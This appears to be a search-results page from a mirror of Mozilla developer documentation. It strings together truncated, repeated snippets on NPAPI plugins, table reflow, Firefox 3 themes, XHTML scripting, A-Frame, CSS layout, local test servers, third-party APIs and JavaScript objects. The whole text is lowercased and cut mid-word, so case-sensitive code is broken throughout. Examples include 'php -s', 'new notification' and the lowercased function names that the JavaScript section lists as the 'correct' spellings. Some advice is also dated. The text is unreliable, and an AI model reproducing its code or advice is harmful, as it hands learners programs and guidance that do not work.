...tall firefox, the profile data is left behind. it would be nice to give the option of clearing extension's data, but it should be implemented at application level, not by each extension individually. it might be an option to stick with it and perform stuff when it comes to application shutdown. the sanitize stuff does this (clean stuff on exit). http://lxr.mozilla.org/mozilla1.8/so...ents/nsbrowser... firefox will clean all those preferences which are still "default", that is not changed by the user or the application/extension. to provide those default preferences to your extension see: http://kb.mozillazine.org/dev_:_usin...lt_preferences btw: resetting prefences to default will clear them in case no default prefence is (still) available. those will be completely removed upon next ...
...on see: http://kb.mozillazine.org/dev_:_usin...lt_preferences btw: resetting prefences to default will clear them in case no default prefence is (still) available. those will be completely removed upon next application launch. is it possible to create a sidebar on the top of the page? not unless you make it a separate window. there's a bug in bugzilla about stacking other widgets on top of browser/iframe, which hopefully will be fixed for gecko 1.9. could someone write an extension that zaps the google analytics cookie, the urchin cookie, switches gmail and google calender to https? customizegoogle extension already has support for switching gmail to https (and calendar possibly, too). does anyone know how write a bounce email extension? are you aware of the "mailredirect" extens...
NPN_PluginThreadAsyncCall - Archive of obsolete content
syntax #include <npapi.h> void npn_pluginthreadasynccall(npp plugin, void (*func)(void *), void *userdata); parameters the function has the following parameters: plugin pointer to the current plug-in instance. func pointer to the function to call on the correct thread. userdata pointer to the data to pass to the function func once called. returns nothing. ...
...to the function to call on the correct thread. userdata pointer to the data to pass to the function func once called. returns nothing. description causes asynchronous execution of the specified function pointer on the "plug-in thread", passing in the specified user data pointer when it is called. the "plug-in thread" is the thread hosting the plug-in, which may be either the browser's main thread or the plug-in process if the plug-in is being executed out-of-process. it is the application's responsibility to perform any synchronization between the thread calling npn_pluginthreadasynccall() and the thread on which the call is eventually executed. in particular, the user must ensure that the function pointer remains callable and the user data is not deallocated until the bro...
...orm any synchronization between the thread calling npn_pluginthreadasynccall() and the thread on which the call is eventually executed. in particular, the user must ensure that the function pointer remains callable and the user data is not deallocated until the browser executes the call. there are inherent race conditions between calling this function and termination of the plug-in instance. the browser might not execute calls successfully registered with this api call during plug-in termination. ...
...re inherent race conditions between calling this function and termination of the plug-in instance. the browser might not execute calls successfully registered with this api call during plug-in termination. plug-ins should perform appropriate synchronization with the code in their npp_destroy() routine to ensure correct execution and avoid memory leaks. calling npn_pluginthreadasynccall() on the "browser main thread" or the "plug-in thread" is legal; the call to npn_pluginthreadasynccall() returns immediately. after control returns to the browser, it is free to call the function with its argument from this thread. see also npp out-of-process plugins ...
NPP_HandleEvent - Archive of obsolete content
ng the event handled by the function. values: ms windows: pointer to npevent structure mac os: pointer to a standard mac os eventrecord unix/x11: pointer to a standard xlib xevent for a list of possible events, see npevent. returns if the plug-in handles the event, the function should return true. if the plug-in ignores the event, the function returns false. ...
...eturns false. description the browser calls npp_handleevent to tell the plug-in when events take place in the plug-in's window or drawable area. the plug-in either handles or ignores the event, depending on the value given in the event parameter of this function. for a list of event types the application is responsible for delivering to the plug-in, see the npevent structure. ms windows the browser gives each windowed plug-in its own native window, often a child window of the browser window, to draw into. the plug-in has complete control over drawing and event handling within that window. mac os the browser does not give a windowed plug-in a native window, because the mac os platform does not support child windows. instead, the windowed plug-in draws into the graphics port associated wi...
...for this reason, npp_handleevent is only way the plug-in can receive events from its host application on mac os. when npp_handleevent is called, the current port is set up so that its origin matches the top-left corner of the plug-in. ...
...for this reason, npp_handleevent is only way the plug-in can receive events from its host application on mac os. when npp_handleevent is called, the current port is set up so that its origin matches the top-left corner of the plug-in. a plug-in does not need to set up the current port for mouse coordinate translation. ...
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
n add your own widgets at your leisure with the packing you prefer. telling mozilla you support xembed as mentioned above, you will need to tell mozilla that you support the xembed protocol for hosting plugins. for backwards compatibility reasons if you don't tell mozilla that you support it it will try to hand you an xt widget as a parent. ...
...this is an incomplete example of what a piece of code might look like that tries to check for the proper mozilla version. this would be included in your np_initialize function. ...
...ion. this would be included in your np_initialize function. nperror np_initialize(npnetscapefuncs* nstable, nppluginfuncs* pluginfuncs) { nperror err = nperr_no_error; prbool supportsxembed = pr_false; npntoolkittype toolkit = 0; [ code that copies all of the function tables and does ] [ other standard checks ] /* * make sure that the browser supports functionality we care * about. */ err = callnpn_getvalueproc(gnetscapefuncs.getvalue, null, npnvsupportsxembedbool, (void *)&supportsxembed); if (err != nperr_no_error || supportsxembed != pr_true) return nperr_incompatible_version_error; err = callnpn_getvalueproc(gnetscapefuncs.getvalue, nu...
... pr_true) return nperr_incompatible_version_error; err = callnpn_getvalueproc(gnetscapefuncs.getvalue, null, npnvtoolkit, (void *)&toolkit); if (err != nperr_no_error || toolkit != npnvgtk2) return nperr_incompatible_version_error; [ the rest of initialization ] return err; } as you can see, if the browser says that it doesn't support xembed and doesn't use gtk2 as a toolkit we return an error. if you return with an error from your initialization function the plugin will not be used which avoids crashes and other problems. once you've verified that the browser has the compatibility you require, you can modify your npp_getvalue call like so: nperror npp_getvalue(void *future, nppvariable variable,...
Table Reflow Internals - Archive of obsolete content
croll(s), canvas, html, body). the initial chunk of an xml doc is loaded. the initial chunk of an html doc (or a subsequent chunk of an xml doc) is loaded. the container posts a dirty reflow command with itself as the target. content is inserted, appended, or deleted through the dom. the container posts a dirty reflow command with itself as the target. style changes through the dom - javascript, browser change font (ctrl+/-), a preference changes, etc. review of reflow reflow starts with pres shell which reflows the reflow root (usually the viewport frame), which reflows it children, etc. ususally it starts when the pres shell processes its queue of reflow commands. the reflower positions reflowee (if it can) before actually reflowing in case views are involved (e.g. absolutely positio...
... width constraints on the table, col groups, cols, cells the preferred and max element sizes of the cells (from the pass 1 reflow), and considers colspans pass 2 - cell widths are constrained by the column widths (heights are only constrained in paginated mode). table reflow table reflows row groups (continued) the row group figures out the row heights given its style height constraints, its rows and cells, and the actual heights of its rows and cells from the pass 2 reflow. if the table has a style height, it allocates extra height to its row groups, rows and cells. in each pass, row groups reflow rows which reflow cells which reflow cell blocks. table reflow example <table width=300> <tr> <td>foo</td> <td>bar zap</td> </tr> </table> key: r = reflow reason, 0...
...in case they change after the table reflows the row group(s) containing the targets, if it rebalances, it then does a pass 2 reflow. special height reflow when there is a % height frame inside a cell without a computed height the frame will never get a chance to size based on the final cell height in paginated mode when there is a height on the table, the table doesn't allocate extra height to rows until after it does a pass 2 reflow and then it is too late this can be fixed by doing a special 3rd pass reflow special reflow example <table border=2 width=300> <tr> <td> this cell's width is constrained by the table and image widths. its exact height is hard to determine. </td> <td> <img src=raptor.jpg width=200 height=100...
...nuations to ever balance or calc the cell map, and it only does this once table paginated reflow the table does a pass 2 reflow constraining both avail heights and widths. if a row group is incomplete, the table creates a continuation for the row group puts the continuation in its overflow frames property what follows only applies during the pass 2 reflow. the row group reflows all of its rows with unconstrained heights and calculates the row heights, figures out which row falls on a page boundary and reflows it with a constrained height. if there will be a pass 3 reflow then this should (bug) happen at that time instead. table paginated reflow the row group (continued) creates a continuation for the incomplete row (which also creates continuations for all of its cells and all of ...
Theme changes in Firefox 3 - Archive of obsolete content
this article covers the changes that need to be made to update a firefox theme to work properly in firefox 3. note: we could use an article called updating themes for firefox 3 that would serve as a how-to guide for updating themes. if anyone with theming experience would like to write one, please do! browser changes requiring theme updates there are a number of changed and deleted files in the browser that may require you to make changes to your theme. the table lists both the changed xul file and the theme's corresponding css file that you might need to update. filename css file details changes to the default theme the table below lists changes made in the default theme for firefox 3; you can use this information as a starting point for fi...
...orresponding css file that you might need to update. filename css file details changes to the default theme the table below lists changes made in the default theme for firefox 3; you can use this information as a starting point for figuring out the changes you need to make. all file list all platforms file description of change browser/themes/*/browser/browser.css the width of the drag and drop indicator is no longer calculated during the drag (tabbrowser.xml). instead a '-moz-margin-start' property must be added to .tab-drop-indicator-bar, with a value that is half of the width of the indicator image. also, the visibility of the indicator is now controlled by setting collapsed in tabbrowser.xml. as a result, the 'display'...
...-start' property must be added to .tab-drop-indicator-bar, with a value that is half of the width of the indicator image. also, the visibility of the indicator is now controlled by setting collapsed in tabbrowser.xml. as a result, the 'display' property should be removed from .tab-drop-indicator-bar (including for dragging="true"). mac os x file description of change browser/themes/pinstripe/browser/tabbrowser/tabdragindicator.png removed superfluous blank pixels from the edges, so that the image is smaller. may or may not affect other mac themes that use it. browser/themes/pinstripe/browser/browser.css .tabbrowser-tab[first-tab="true"] > .tab-image-left no longer has a margin-left. instead .tabs-left now displayed and given the same width as the for...
...ous blank pixels from the edges, so that the image is smaller. may or may not affect other mac themes that use it. browser/themes/pinstripe/browser/browser.css .tabbrowser-tab[first-tab="true"] > .tab-image-left no longer has a margin-left. instead .tabs-left now displayed and given the same width as the former margin-left. it was already done this way in winstripe. changes in browser --- changes in global all platforms the yellow background for the location bar has been deprecated; instead, themes should style the new #identity-box element depending on its verifieddomain/verifiedidentity class. the go button is now located inside the location bar, so the image for it (chrome://browser/skin/go-arrow.png) needs to be smaller. the rule that's needed to show and hide the g...
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
t html one of the primary misunderstandings about xhtml is that it is just another version of html. this misunderstanding is compounded by the fact that, prior to version 9, microsoft® internet explorer only supports xhtml if it is served with mime media type text/html rather than the recommended application/xhtml+xml. when an xhtml page is served with mime type text/html it is treated by all browsers as if it were nothing more than html. however when an xhtml page is served with mime type text/xml or application/xhtml+xml, then it should be treated as an xml document which must conform to the strict rules for authoring and displaying xml. proper xhtml is an application of xml and as such requires that authors follow strict rules when authoring xhtml. in particular: raw < and & characte...
...ipt"> var i = 0; while (++i < 10) { // ... } </script> note that this example is not well formed xhtml since the use of raw < is only allowed as a part of markup in xhtml or xml. use of comments inside inline style and script authors who are familiar with html commonly enclose the contents of inline style and script tags in comments in order to hide the contents of the tags from browsers which do not understand them. <style type="text/css"> <!-- body {background-color: blue; color: yellow;} --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> this example illustrates that a conformant browser can ignore content inside of comments. in addition, this exam...
...le type="text/css"> <!-- body {background-color: blue; color: yellow;} --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> this example illustrates that a conformant browser can ignore content inside of comments. in addition, this example shows how the differences between browsers in handling inline content in text/xml or application/xhtml+xml can be problematic. mozilla 1.1+/opera 7 do not apply css or execute the javascript. netscape 7.0x/mozilla 1.0.x do not apply css but does execute the javascript. internet explorer 5.5+ can not display the document. (see talk:properly_using_css_and_javascript_in_xhtml_documents of this ascertation. - xmlguru) inline styl...
...lem with using comments to surround javascript in xhtml is related to the problems which can occur if comments contain double dashes (——). <script type="text/javascript"> <!-- var i; var sum = 0; for (i = 10; i > 0; --i) { sum += i; } // --> </script> using cdata instead of comments properly enclosing script contents inside of cdata sections can cause problems in downlevel browsers which do not understand xml. however, it is possible to combine javascript comments with cdata sections to allow for backward compatibility. <script type="text/javascript"> //<![cdata[ var i = 0; while (++i < 10) { // ... } //]]> </script> examples using css rules in inline style within comments example 1 - xhtml 1.0 strict as text/html this example illustrates the beha...
Building up a basic demo with A-Frame - Game development
the webxr and webgl apis already enable us to start creating virtual reality (vr) experiences inside web browsers, but the community is still waiting for tools and libraries to appear, to make this easier. mozilla's a-frame framework provides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding principles; this is useful for quickly and successfully building prototypes and demos, without having to write a lot of javascript or glsl. this article explains how to get up and running with a-frame, and how to use it to build up a simple demo. high level overview the current version of a-frame is 0.3.2, which means it's highly experimental, but it already works and you can test it right away in the browser. it runs...
... known in the game development world, but it targets web developers with a familiar markup structure, manipulable with javascript. the end result is 3d web experiences, which are vr-enabled by default. environment setup let's start by setting up an environment to create something with a-frame. we'll then build up a demo and run it. you should start off by: making sure you are using a modern browser with good webgl support (and webxr support if you have available vr or ar hardware) such as the latest firefox or chrome — download firefox nightly or chrome (v54 or higher). (optional) set up a vr device such as oculus rift or google cardboard. create a new directory to store your project in. save a copy of the latest a-frame javascript library file inside your directory (check the github...
...sky box is a background for the 3d world, represented by an <a-sky> element. in our case we will use a simple color, but it could also be an image, etc. looking around would give an impression of being inside an open sky, a wooden barn — wherever you like! add the following html before the <a-cube> element: <a-sky color="#dddddd"></a-sky> at this point, if you save the code and refresh your browser you can already see the cube on the screen with our custom background: here's the code we have created so far: you can also check it out on github. a-frame takes care of setting up everything you need: a default light source and camera are included, so the cube is visible. the controls are already working: you can use the mouse for looking around and the keyboard for movement (try th...
...vailable, now is a good time to try out your scene with it too. note: you can also check it out on github. that was easier than you thought, right? a-frame targets web developers by offering easy to use web markup and all the advantages that brings, such as javascript manipulation. it is easy to start with, but also provides a powerful api for advanced concepts, as well as dealing with cross browser differences and suchlike. the community is growing, just like the number of supported vr devices — it's a great time to start experimenting with such frameworks. ...
Normal Flow - Learn web development
previous overview: css layout next this article explains normal flow, or the way that webpage elements lay themselves out if you have not changed their layout. prerequisites: the basics of html (study introduction to html), and an idea of how css works (study introduction to css.) objective: to explain how browsers layout web pages by default, before we begin to make changes. as detailed in the last lesson introducing layout, elements on a webpage lay out in the normal flow, if you have not applied any css to change the way they behave. and, as we began to discover, you can change how elements behave either by adjusting their position in that normal flow, or removing them from it altogether. starting with a solid, well-structured document that is reada...
... any css to change the way they behave. and, as we began to discover, you can change how elements behave either by adjusting their position in that normal flow, or removing them from it altogether. starting with a solid, well-structured document that is readable in normal flow is the best way to begin any webpage. it ensures that your content is readable, even if the user is using a very limited browser or a device such as a screen reader that reads out the content of the page. in addition, as normal flow is designed to make a readable document, by starting in this way you are working with the document rather than fighting against it as you make changes to the layout. before digging deeper into different layout methods, it is worth revisiting some of the things you will have studied in previo...
...by default, block-level elements are laid out in the block flow direction, based on the parent's writing mode (initial: horizontal-tb) — each one will appear on a new line below the last one, and they will be separated by any margin that is set on them. in english therefore, or any other horizontal, top to bottom writing mode, block-level elements are laid out vertically. inline ...
... a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { background: rgba(255,84,104,0.3); border: 2px solid rgb(255,84,104); padding: 10px; margin: 10px; } span { background: white; border: 1px solid black; } summary now that you understand normal flow, and how the browser lays things out by default, move on to understand how to change this default display to create the layout needed by your design. previous overview: css layout next in this module introduction to css layout normal flow flexbox grid floats positioning multiple-column layout responsive design beginner's guide to media queries legacy layout methods supporting older browsers ...
Practical positioning examples - Learn web development
ppear over the top of the other panels. that's it for the first example. keep your code open, as we'll be adding to it in the second one. a fixed position tabbed info-box in our second example, we will take our first example — our info-box — and add it into the context of a full web page. but not only that — we'll give it fixed position so that it stays in the same position in the browser window. when the main content scrolls, the info-box will stay in the same position on the screen. our finished example will look like this: note: you can see the finished example running live at fixed-info-box.html (source code). check it out to get an idea of what you will be building in this section of the article. as a starting point, you can use your completed example from the first s...
...o here.</p> </section> note: you can feel free to change the fake content for some real content if you like. changes to the existing css next we need to make some small changes to the existing css, to get the info-box placed and positioned. change your .info-box rule to get rid of margin: 0 auto; (we no longer want the info-box centered), add position: fixed;, and stick it to the top of the browser viewport. it should now look like this: .info-box { width: 450px; height: 400px; position: fixed; top: 0; } styling the main content the only thing left for this example is to provide the main content with some styling. add the following rule underneath the rest of your css: .fake-content { background-color: #a60000; color: white; padding: 10px; height: 2000px; margin-lef...
...ide { background-color: #a60000; color: white; width: 340px; height: 100%; padding: 0 20px; position: fixed; top: 0; right: -370px; transition: 0.6s all; } there's a lot going on here — let's discuss it bit by bit: first, we set some simple background-color and color on the info box. next, we set a fixed width on the panel, and make its height the entire height of the browser viewport. we also include some horizontal padding to space it out a bit. next we set position: fixed; on the panel so it will always appear in the same place, even if the page has content to scroll. we glue it to the top of the viewport, and set it so that by default it is offscreen to the right. finally, we set a transition on the element. transitions are an interesting feature that allow y...
...s all immediately — positioning is a fairly advanced topic, and you can always work through the articles again to aid your understanding. the next subject we'll turn to is flexbox. in this module introduction to css layout normal flow flexbox grid floats positioning multiple-column layout responsive design beginner's guide to media queries legacy layout methods supporting older browsers fundamental layout comprehension assessment ...
What software do I need to build a website? - Learn web development
learn which software components you need if you want to edit, upload, or view a website. summary you can download most of the programs you need for web development for free. we'll provide a few links in this article. you'll need tools to: create and edit webpages upload files to your web server view your website nearly all operating systems by default include a text editor and a browser, which you can use to view websites. as a result, you usually only need to acquire software for transferring files to your web server. active learning there is no active learning available yet. dig deeper creating and editing webpages to create and edit a website, you need a text editor. text editors create and modify unformatted text files. other formats, like rtf, let you to add formatt...
...s a short list of free basic (s)ftp clients: operating system ftp software windows winscp moba xterm filezilla (all os) linux nautilus/files (gnome) dolphin (kde) mac os cyberduck chrome os shiftedit (all os) browsing websites as you already know, you need a web browser to view websites. there are dozens of browser options for your personal use, but when you're developing a website you should test it at least with the following major browsers, to make sure your site works for most people: mozilla firefox google chrome microsoft internet explorer apple safari if you're targeting a specific group (e.
...re dozens of browser options for your personal use, but when you're developing a website you should test it at least with the following major browsers, to make sure your site works for most people: mozilla firefox google chrome microsoft internet explorer apple safari if you're targeting a specific group (e.g., technical platform or country), you may have to test the site with additional browsers, like opera, konqueror, or uc browser. but testing gets complicated because some browsers only run on certain operating systems. apple safari runs on ios and mac os, while internet explorer runs only on windows. it's best to take advantage of services like browsershots or browserstack. browsershots furnishes screenshots of your website as it will look in various browsers. ...
...alternatively, you can set up your own virtual machine, but that takes some expertise. ...
How do you set up a local testing server? - Learn web development
ow to set up a simple local testing server on your machine, and the basics of how to use it. prerequisites: you need to first know how the internet works, and what a web server is. objective: you will learn how to set up a local testing server. local files vs. remote files throughout most of the learning area, we tell you to just open your examples directly in a browser — this can be done by double clicking the html file, dragging and dropping it into the browser window, or choosing file > open... and navigating to the html file. there are many ways to achieve this. if the web address path starts with file:// followed by the path to the file on your local hard drive, a local file is being used. in contrast, if you view one of our examples hosted on github (...
... you view one of our examples hosted on github (or an example on some other remote server), the web address will start with http:// or https://, to show that the file has been received via http. the problem with testing local files some examples won't run if you open them as local files. this can be due to a variety of reasons, the most likely being: they feature asynchronous requests. some browsers (including chrome) will not run async requests (see fetching data from the server) if you just run the example from a local file. this is because of security restrictions (for more on web security, read website security). they feature a server-side language. server-side languages (such as php or python) require a special server to interpret the code and deliver the results. running a simple...
... the server in that directory: # if python version returned above is 3.x python3 -m http.server # on windows try "python" instead of "python3", or "py -3" # if python version returned above is 2.x python -m simplehttpserver by default, this will run the contents of the directory on a local web server, on port 8000. you can go to this server by going to the url localhost:8000 in your web browser. here you'll see the contents of the directory listed — click the html file you want to run. note: if you already have something running on port 8000, you can choose another port by running the server command followed by an alternative port number, e.g. python3 -m http.server 7800 (python 3.x) or python -m simplehttpserver 7800 (python 2.x). you can then access your content at localhost:...
...es: to run python server-side code, you'll need to use a python web framework. flask is also a good (slightly less heavyweight) alternative to django. to run this you'll need to install python/pip, then install flask using pip3 install flask. at this point you should be able to run the python flask examples using for example python3 python-example.py, then navigating to localhost:5000 in your browser. to run node.js (javascript) server-side code, you'll need to use raw node or a framework built on top of it. express is a good choice. to run php server-side code, launch php's built-in development server: $ cd path/to/your/php/code $ php -s localhost:8000 ...
Define terms with HTML - Learn web development
u need a term defined, you probably go straight to a dictionary or glossary. dictionaries and glossaries formally associate keywords with one or more descriptions, as in this case: blue (adjective) of a color like the sky in a sunny day. the clear blue sky of a subtle sadness, melancholy. i'm feeling blue but we're constantly defining keywords informally, as here: firefox is the web browser created by the mozilla foundation. to deal with these use cases, html provides tags to mark descriptions and words described, so that your meaning gets across properly to your readers. how to mark informal description in textbooks, the first time a keyword occurs, it's common to put the keyword in bold and define it right away. we do that in html too, except html is not a visual medium and...
...s common to put the keyword in bold and define it right away. we do that in html too, except html is not a visual medium and so we don't use bold. we use <dfn>, which is a special element just for marking the first occurrence of keywords. note that <dfn> tags go around the word to be defined, not the definition (the definition consists of the entire paragraph): <p><dfn>firefox</dfn> is the web browser created by the mozilla foundation.</p> another use for bold is to emphasize content. bold itself is a concept foreign to html, but there are tags for indicating emphasis. special case: abbreviations it's best to mark abbreviations specially with <abbr>, so that screen readers read them appropriately and so that you can operate on all abbreviations uniformly. just as with any new keyword, ...
...d. in other words, there's an implicit relationship between the <dfn> element and its container. if you want a more formal relationship, or your definition consists of only one sentence rather than the whole paragraph, you can use the aria-describedby attribute to associate a term more formally with its definition: <p> <span id="ff"> <dfn aria-describedby="ff">firefox</dfn> is the web browser created by the mozilla foundation. </span> you can download it at <a href="http://www.mozilla.org">mozilla.org</a> </p> assistive technology can often use this attribute to find a text alternative to a given term. you can use aria-describedby on any tag enclosing a keyword to be defined (not just the <dfn> element). aria-describedby references the id of the element containing the descripti...
...ianti</dt> <dd> dry italian red wine originating in tuscany </dd> </dl> the basic pattern, as you can see, is to alternate <dt> terms with <dd> descriptions. if two or more terms occur in a row, the following description applies to all of them. if two or more descriptions occur in a row, they all apply to the last given term. improving the visual output here's how a graphical browser displays the foregoing list: if you want the keywords to stand out better, you could try bolding them. remember, html is not a visual medium; we need css for all visual effects. the css font-weight property is what you need here: dt { font-weight: bold; } this produces the slightly more readable result below: learn more <dfn> <dl> <dt> <dd> how to use the aria-describedby attr...
Third-party APIs - Learn web development
previous overview: client-side web apis next the apis we've covered so far are built into the browser, but not all apis are. many large websites and services such as google maps, twitter, facebook, paypal, etc. provide apis allowing developers to make use of their data (e.g. displaying your twitter stream on your blog) or services (e.g. using facebook login to log in your users). this article looks at the difference between browser apis and 3rd party apis and shows some typical uses of the latter. prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how third-party apis work, and how to use them to enhance your websites. what are third party apis? third party...
... third party apis are apis provided by third parties — generally companies such as facebook, twitter, or google — to allow you to access their functionality via javascript and use it on your site. one of the most obvious examples is using mapping apis to display custom maps on your pages. let's look at a simple mapquest api example, and use it to illustrate how third-party apis differ from browser apis. note: you might want to just get all our code examples at once, in which case you can then just search the repo for the example files you need in each section. they are found on third-party servers browser apis are built into the browser — you can access them from javascript immediately. for example, the web audio api we saw in the introductory article is accessed using the native ...
...connecting to handles all the complicated stuff, like displaying the correct map tiles for the area being shown, etc. note: some apis handle access to their functionality slightly differently, requiring the developer to make an http request to a specific url pattern to retrieve data. these are called restful apis — we'll show an example later on. they usually require api keys security for browser apis tends to be handled by permission prompts, as discussed in our first article. the purpose of these is so that the user knows what is going on in the websites they visit and is less likely to fall victim to someone using an api in a malicious way. third party apis have a slightly different permissions system — they tend to use developer keys to allow developers access to the api function...
... going to say too much more about this example in the article — the source code has detailed comments inserted inside it to explain how it works. to get it running, you'll need to: get an api key from google cloud. find the string enter-api-key-here in the source code, and replace it with your api key. run the example through a web server. it won't work if you just run it directly in the browser (i.e. via a file:// url). summary this article has given you a useful introduction to using third-party apis to add functionality to your websites. previous overview: client-side web apis next in this module introduction to web apis manipulating documents fetching data from the server third party apis drawing graphics video and audio apis client-side storage ...
Client-side web APIs - Learn web development
in this module, we will explore what apis are, and how to use some of the most common apis you'll come across often in your development work. ...
...data items from the server to update sections of a webpage without having to load an entirely new page. this seemingly small detail has had a huge impact on the performance and behavior of sites. in this article, we'll explain the concept, and look at technologies that make it possible, such as xmlhttprequest and the fetch api. ...
...re built into the browser, but not all apis are. many large websites and services such as google maps, twitter, facebook, paypal, etc. provide apis allowing developers to make use of their data (e.g. displaying your twitter stream on your blog) or services (e.g. displaying custom google maps on your site, or using facebook login to log in your users). this article looks at the difference between browser apis and 3rd party apis and shows some typical uses of the latter. drawing graphics the browser contains some very powerful graphics programming tools, from the scalable vector graphics (svg) language, to apis for drawing on html <canvas> elements, (see the canvas api and webgl). this article provides an introduction to the canvas api, and further resources to allow you to learn more. video ...
... introduction to the canvas api, and further resources to allow you to learn more. video and audio apis html5 comes with elements for embedding rich media in documents — <video> and <audio> — which in turn come with their own apis for controlling playback, seeking, etc. this article shows you how to do common tasks such as creating custom playback controls. client-side storage modern web browsers feature a number of different technologies that allow you to store data related to web sites and retrieve it when necessary allowing you to persist data long term, save sites offline, and more. this article explains the very basics of how these work. ...
Solve common problems in your JavaScript code - Learn web development
the following links point to solutions to common problems you may encounter when writing javascript. common beginner's mistakes correct spelling and casing if your code doesn't work and/or the browser complains that something is undefined, check that you've spelt all your variable names, function names, etc. correctly. some common built-in browser functions that cause problems are: correct wrong getelementsbytagname() getelementbytagname() getelementsbyname() getelementbyname() getelementsbyclassname() getelementbyclassname() getelementbyid() getelementsbyid() semi-colon position you need to make sure you don't place any semi-colons incorrectly. for example: correct wrong elem.style.color = 'red...
...you can't access a variable value set inside a function from outside the function, unless you declared the variable globally (i.e. not inside any functions), or return the value from the function. running code after a return statement remember also that when you return from a function, the javascript interpreter exits the function — no code after the return statement will run. in fact, some browsers (like firefox) will give you an error message in the developer console if you have code after a return statement. firefox gives you "unreachable code after return statement". object notation versus normal assignment when you assign something normally in javascript, you use a single equals sign, e.g.: const mynumber = 0; with objects, however, you need to take care to use the correct syntax...
...also, see other common errors for a description of common errors. making decisions in code how do you execute different blocks of code, dep...
...op if a certain condition is met? how do you use while and do ... ...
JavaScript object basics - Learn web development
syntax. while working with this example you should have your developer tools javascript console open and ready to type in some commands. as with many things in javascript, creating an object often begins with defining and initializing a variable. try entering the following line below the javascript code that's already in your file, then saving and refreshing: const person = {}; now open your browser's javascript console, enter person into it, and press enter/return. you should get a result similar to one of the below lines: [object object] object { } { } congratulations, you've just created your first object. job done! but this is an empty object, so we can't really do much with it. let's update the javascript object in our file to look like this: const person = { name: ['bob', 'smit...
...der: 'male', interests: ['music', 'skiing'], bio: function() { alert(this.name[0] + ' ' + this.name[1] + ' is ' + this.age + ' years old. he likes ' + this.interests[0] + ' and ' + this.interests[1] + '.'); }, greeting: function() { alert('hi! i\'m ' + this.name[0] + '.'); } }; after saving and refreshing, try entering some of the following into the javascript console on your browser devtools: person.name person.name[0] person.age person.interests[1] person.bio() person.greeting() you have now got some data and functionality inside your object, and are now able to access them with some nice simple syntax! note: if you are having trouble getting this to work, try comparing your code against our version — see oojs-finished.html (also see it running live). the live versi...
...ically generating objects (for example using constructors). it will all become clearer later on. you've been using objects all along as you've been going through these examples, you have probably been thinking that the dot notation you've been using is very familiar. that's because you've been using it throughout the course! every time we've been working through an example that uses a built-in browser api or javascript object, we've been using objects, because such features are built using exactly the same kind of object structures that we've been looking at here, albeit more complex ones than in our own basic custom examples. so when you used string methods like: mystring.split(','); you were using a method available on an instance of the string class. every time you create a string in y...
...cture, content, and other features such as its url. again, this means that it has several common methods and properties available on it. the same is true of pretty much any other built-in object or api you've been using — array, math, and so on. note that built in objects and apis don't always create object instances automatically. as an example, the notifications api — which allows modern browsers to fire system notifications — requires you to instantiate a new object instance using the constructor for each notification you want to fire. try entering the following into your javascript console: const mynotification = new notification('hello!'); again, we'll look at constructors in a later article. note: it is useful to think about the way objects communicate as message passing — ...
Object building practice - Learn web development
method on it to give us a context on which we can start to draw. the resulting constant (ctx) is the object that directly represents the drawing area of the canvas and allows us to draw 2d shapes on it. next, we set constants called width and height, and the width and height of the canvas element (represented by the canvas.width and canvas.height properties) to equal the width and height of the browser viewport (the area that the webpage appears on — this can be gotten from the window.innerwidth and window.innerheight properties). note that we are chaining multiple assignments together, to get the variables all set quicker — this is perfectly ok. the last bit of the initial script looks as follows: function random(min, max) { const num = math.floor(math.random() * (max - min + 1)) + ...
...= x; this.y = y; this.velx = velx; this.vely = vely; this.color = color; this.size = size; } here we include some parameters that define the properties each ball needs in order to function in our program: x and y coordinates — the horizontal and vertical coordinates where the ball starts on the screen. this can range between 0 (top left hand corner) to the width and height of the browser viewport (bottom right hand corner). horizontal and vertical velocity (velx and vely) — each ball is given a horizontal and vertical velocity; in real terms these values are regularly added to the x/y coordinate values when we animate the balls, to move them by this much on each frame. color — each ball gets a color. size — each ball gets a size — this is its radius, in pixels. thi...
...s a complete circle. if you had specified only 1 * pi, you'd get a semi-circle (180 degrees). last of all, we use the fill() method, which basically states "finish drawing the path we started with beginpath(), and fill the area it takes up with the color we specified earlier in fillstyle." you can start testing your object out already. save the code so far, and load the html file in a browser. open the browser's javascript console, and then refresh the page so that the canvas size changes to the smaller visible viewport that remains when the console opens. type in the following to create a new ball instance: let testball = new ball(50, 100, 4, 4, 'blue', 10); try calling its members: testball.x testball.size testball.color testball.draw() when you enter the last line, yo...
...w instance of our ball() using random values generated with our random() function, then push()es it onto the end of our balls array, but only while the number of balls in the array is less than 25. so when we have 25 balls on screen, no more balls appear. you can try varying the number in balls.length < 25 to get more or fewer balls on screen. ...
Properly configuring server MIME types - Learn web development
en significantly updated in many years. background by default, many web servers are configured to report a mime type of text/plain or application/octet-stream for unknown content types. as new content types are invented or added to web servers, web administrators may fail to add the new mime types to their web server's configuration. this is a major source of problems for users of gecko-based browsers, which respect the mime types as reported by web servers and web applications. what are mime types? mime types describe the media type of content either in email or served by web servers or web applications and are intended to help guide a web browser in how the content is to be processed and displayed. examples of mime types are: text/html for normal web pages text/plain for plain text ...
.../x-java-applet for java applets application/pdf for pdf documents technical background registered values for mime types are available in iana | mime media types. the http specification defines a superset of mime which is used to describe the media types used on the web. why are correct mime types important? if the web server or application reports an incorrect mime type for content, a web browser has no way, according to the http specification, of knowing that the author actually intended the content to be processed and displayed in a way different from that implied by the reported mime type. some other web browsers, such as microsoft® internet explorer, try to allow for misconfigured web servers and applications by guessing what the correct mime type should be. this has sheltered man...
